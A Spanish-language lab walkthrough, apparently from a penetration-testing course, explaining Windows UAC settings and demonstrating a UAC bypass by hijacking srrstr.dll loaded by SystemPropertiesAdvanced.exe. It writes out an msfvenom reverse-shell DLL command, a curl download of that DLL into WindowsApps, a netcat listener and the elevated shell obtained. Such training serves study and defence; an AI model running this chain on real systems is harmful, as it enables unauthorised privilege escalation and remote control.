📘User Account Control (UAC)
El Control de cuentas de usuario (UAC) es una función que permite solicitar el consentimiento para actividades de alto nivel. Las aplicaciones tienen distintos niveles de integridad
y un programa con un nivel alto puede realizar tareas que podrían comprometer el sistema. Cuando el UAC está habilitado, las aplicaciones y tareas siempre se ejecutan en el contexto de seguridad de una cuenta que no sea de administrador, a menos que un administrador autorice explícitamente que estas aplicaciones o tareas tengan acceso de nivel de administrador al sistema para ejecutarse. Es una función práctica que protege a los administradores de cambios no deseados, pero no se considera un límite de seguridad.
Cuando el UAC está activado, un usuario puede iniciar sesión en su sistema con su cuenta de usuario estándar. Cuando se inician procesos utilizando un token de usuario estándar, pueden realizar tareas utilizando los derechos otorgados a un usuario estándar. Algunas aplicaciones requieren permisos adicionales para ejecutarse y el UAC puede proporcionar derechos de acceso adicionales al token para que se ejecuten correctamente.
En esta página se explica en profundidad cómo funciona el UAC e incluye el proceso de inicio de sesión, la experiencia del usuario y la arquitectura del UAC. Los administradores pueden utilizar políticas de seguridad para configurar cómo funciona el UAC en su organización a nivel local (mediante secpol.msc), o configurarlo y enviarlo a través de objetos de política de grupo (GPO) en un entorno de dominio de Active Directory. Las distintas configuraciones se describen en detalle aquí . Hay 10 configuraciones de política de grupo que se pueden configurar para el UAC. La siguiente tabla proporciona detalles adicionales:
Configuración de directiva de grupo
Clave de registro
Configuración predeterminada
FilterAdministratorToken
Desactivado
EnableUIADesktopToggle
Desactivado
ConsentPromptBehaviorAdmin
Solicitud de consentimiento para archivos binarios que no sean de Windows
ConsentPromptBehaviorUser
Solicitar credenciales en el escritorio seguro
EnableInstallerDetection
Habilitado (predeterminado para el hogar) Deshabilitado (predeterminado para la empresa)
ValidateAdminCodeSignatures
Desactivado
EnableSecureUIAPaths
Activado
EnableLUA
Activado
PromptOnSecureDesktop
Activado

Se debe habilitar el UAC y, si bien puede que no impida que un atacante obtenga privilegios, es un paso adicional que puede ralentizar este proceso y obligarlo a ser más ruidoso.
La cuenta default RID 500 administrator
siempre opera en el nivel obligatorio alto. Con el modo de aprobación de administrador (AAM) habilitado, todas las nuevas cuentas de administrador que creemos operarán en el nivel obligatorio medio de manera predeterminada y se les asignarán dos tokens de acceso independientes al iniciar sesión. En el siguiente ejemplo, la cuenta de usuario sarah
está en el grupo de administradores, pero cmd.exe
se está ejecutando actualmente en el contexto de su token de acceso sin privilegios.
Comprobar el usuario actual
C:\htb> whoami /user
USER INFORMATION
----------------
User Name SID
================= ==============================================
winlpe-ws03\sarah S-1-5-21-3159276091-2191180989-3781274054-1002
Confirmar la membresía del grupo de administradores
C:\htb> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
mrb3n
sarah
The command completed successfully.
Revisar los privilegios de usuario
C:\htb> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
Confirmar que el UAC está habilitado
No existe una versión de línea de comandos del mensaje de consentimiento de la GUI, por lo que tendremos que omitir el UAC para ejecutar comandos con nuestro token de acceso privilegiado. Primero, confirmemos si el UAC está habilitado y, de ser así, en qué nivel.
C:\htb> REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
Comprobar nivel de UAC
C:\htb> REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
El valor de ConsentPromptBehaviorAdmin
es 0x5
, lo que significa que el nivel más alto de UAC Always notify
está habilitado. Hay menos omisiones de UAC en este nivel más alto.
Comprobar la versión de Windows
UAC evita fallas de apalancamiento o funcionalidades no deseadas en diferentes compilaciones de Windows. Examinemos la compilación de Windows que queremos actualizar.
PS C:\htb> [environment]::OSVersion.Version
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
Esto devuelve la versión de compilación 14393
, que al usar esta página hacemos referencia cruzada con la versión de Windows 1607
.

El proyecto UACME mantiene una lista de omisiones de UAC, que incluye información sobre el número de compilación de Windows afectado, la técnica utilizada y si Microsoft ha publicado una actualización de seguridad para solucionarlo. Usemos la técnica número 54, que se afirma que funciona a partir de la compilación 14393 de Windows 10. Esta técnica apunta a la versión de 32 bits del binario de elevación automática SystemPropertiesAdvanced.exe
. Hay muchos binarios confiables que Windows permitirá elevar automáticamente sin la necesidad de una solicitud de consentimiento de UAC.
Según esta publicación del blog, la versión de 32 bits SystemPropertiesAdvanced.exe
intenta cargar la DLL inexistente srrstr.dll
, que es utilizada por la funcionalidad Restaurar sistema.
Al intentar localizar una DLL, Windows utilizará el siguiente orden de búsqueda:
El directorio desde el que se cargó la aplicación.
El directorio del sistema
C:\Windows\System32
para sistemas de 64 bits.El directorio del sistema de 16 bits
C:\Windows\System
(no compatible con sistemas de 64 bits)El directorio de Windows.
Cualquier directorio que esté enumerado en la variable de entorno PATH.
Revisando la variable de path
Examinemos la variable de ruta con el comando cmd /c echo %PATH%
. Esto revela las carpetas predeterminadas que se muestran a continuación. La carpeta WindowsApps
se encuentra dentro del perfil del usuario y el usuario puede escribir en ella.
PS C:\htb> cmd /c echo %PATH%
C:\Windows\system32;
C:\Windows;
C:\Windows\System32\Wbem;
C:\Windows\System32\WindowsPowerShell\v1.0\;
C:\Users\sarah\AppData\Local\Microsoft\WindowsApps;
Potencialmente, podemos evitar el UAC mediante el secuestro de DLL colocando una DLL maliciosa srrstr.dll
en una carpeta WindowsApps
que se cargará en un contexto elevado.
Generación de DLL maliciosa srrstr.dll
Primero, generemos una DLL para ejecutar un shell inverso.
afsh4ck@kali$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=8443 -f dll > srrstr.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of dll file: 5120 bytes
Nota: En el ejemplo anterior, especificamos nuestra dirección IP VPN tun0, ya que estamos conectados por VPN
Iniciar el servidor HTTP de Python en el host de ataque
Copie la DLL generada a una carpeta y configure un miniservidor web Python para alojarla.
afsh4ck@kali$ sudo python3 -m http.server 8080
Descargar DLL en el Target
Descargue la DLL maliciosa al sistema de destino y configure un listener de Netcat
en nuestra máquina de ataque.
PS C:\htb> curl http://10.10.14.3:8080/srrstr.dll -O "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll"
Iniciando listener de nc en el host de ataque
afsh4ck@kali$ nc -lvnp 8443
Conexión de prueba
Si ejecutamos el archivo malicioso srrstr.dll
, recibiremos un shell que muestra los derechos de usuario normales (UAC habilitado). Para probar esto, podemos ejecutar la DLL rundll32.exe
para obtener una conexión de shell reversa.
C:\htb> rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll
Una vez que recuperemos la conexión, veremos los derechos de usuario normales.
afsh4ck@kali$ nc -lnvp 8443
listening on [any] 8443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.43.16] 49789
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Users\sarah> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
Ejecución de SystemPropertiesAdvanced.exe en el host de destino
Antes de continuar, debemos asegurarnos de que se hayan finalizado todas las instancias del proceso rundll32
de nuestra ejecución anterior.
C:\htb> tasklist /svc | findstr "rundll32"
rundll32.exe 6300 N/A
rundll32.exe 5360 N/A
rundll32.exe 7044 N/A
C:\htb> taskkill /PID 6300 /F
SUCCESS: The process with PID 6300 has been terminated.
C:\htb> taskkill /PID 5360 /F
SUCCESS: The process with PID 5360 has been terminated.
C:\htb> taskkill /PID 7044 /F
SUCCESS: The process with PID 7044 has been terminated.
Ahora, podemos probar la versión de 32 bits SystemPropertiesAdvanced.exe
desde el host de destino.
C:\htb> C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
Recibiendo la conexión reversa
Al volver a verificar a nuestro listener, deberíamos recibir una conexión casi instantáneamente.
afsh4ck@kali$ nc -lvnp 8443
listening on [any] 8443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.43.16] 50273
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
whoami
winlpe-ws03\sarah
C:\Windows\system32> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Disabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
Esto se realiza correctamente y recibimos un shell elevado que muestra que nuestros privilegios están disponibles y pueden habilitarse si es necesario.
Última actualización
¿Te fue útil?